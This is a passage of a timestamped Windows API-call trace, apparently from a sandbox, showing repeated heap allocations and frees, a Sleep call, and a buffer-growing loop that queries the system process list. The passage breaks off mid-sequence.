	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892af0
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892af0) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x38) returned 0x286f748
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f748) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x42) returned 0x28948d0
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28948d0) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x32) returned 0x286fc08
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fc08) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881ad0
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881ad0) returned 1
	[0068.897] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881da8
	[0068.897] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881da8) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ace0
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ace0) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a50
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878038
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878038) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892af0
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892af0) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289af10
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289af10) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b3b8
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b3b8) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289add0
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289add0) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ace0
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ace0) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a50
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878188
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878188) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881da8
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881da8) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x287b3b8
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b3b8) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ae20
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ae20) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892b70
	[0068.898] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892b70) returned 1
	[0068.898] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28927b0
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28927b0) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289ac90
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac90) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892af0
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892af0) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289afb0
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afb0) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a50
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289acb8
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289acb8) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ac40
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac40) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289b050
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289b050) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289b078
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289b078) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ac68
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac68) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892910
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878038
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878038) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x28781e8
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28781e8) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892950
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892950) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892a50
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1e) returned 0x289ae70
	[0068.899] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ae70) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881e50
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881e50) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2878278
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878278) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892930
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892930) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2892a90
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a90) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892850
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2878128
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878128) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2892910
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x28781e8
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28781e8) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2892910
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289abc8
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289abc8) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ad80
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ad80) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289afd8
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289afd8) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289abc8
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289abc8) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2882048
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882048) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2878218
	[0068.900] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878218) returned 1
	[0068.900] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x287b2e0
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b2e0) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x289abf0
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289abf0) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892870
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892870) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892850
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892850) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289abc8
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289abc8) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x28819b8
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28819b8) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ac40
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ac40) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289af10
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289af10) returned 1
	[0068.901] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28de680) returned 1
	[0068.901] Sleep (dwMilliseconds=0x64) 
	[0069.069] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1024) returned 0x2883288
	[0069.069] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2883288, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2883288, ResultLength=0x0) returned 0xc0000004
	[0069.071] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2883288, Size=0x2048) returned 0x28c08a8
	[0069.071] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c08a8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c08a8, ResultLength=0x0) returned 0xc0000004
	[0069.071] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c08a8, Size=0x306c) returned 0x2894bd8
	[0069.071] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.072] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0069.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0069.072] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0069.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.072] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0069.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.072] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0069.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.073] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0069.073] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.073] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0069.073] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.073] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0069.073] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.074] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0069.074] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.074] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0069.074] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.074] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0069.074] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.075] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0069.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.075] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0069.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.075] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0069.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.076] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0069.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.076] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0069.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0069.076] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0069.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.077] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0069.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.077] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0069.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.078] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0069.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.078] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0069.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.078] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0069.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.079] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0069.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.079] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0069.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.080] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0069.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.080] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0069.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.081] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0069.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.081] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0069.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.081] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0069.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.082] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0069.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.082] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0069.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.083] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0069.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.083] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0069.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0069.084] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0069.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0069.084] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2) returned 0x28b9838
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28b9838) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x287b3b8
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x287b3b8) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2892a50
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a50
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892a50
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892af0
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892af0) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289abf0
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289abf0) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x289ad08
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ad08) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2892a50
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892a50) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2892910
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2892910) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289ad08
	[0069.085] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x289ad08) returned 1
	[0069.085] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x289ada8
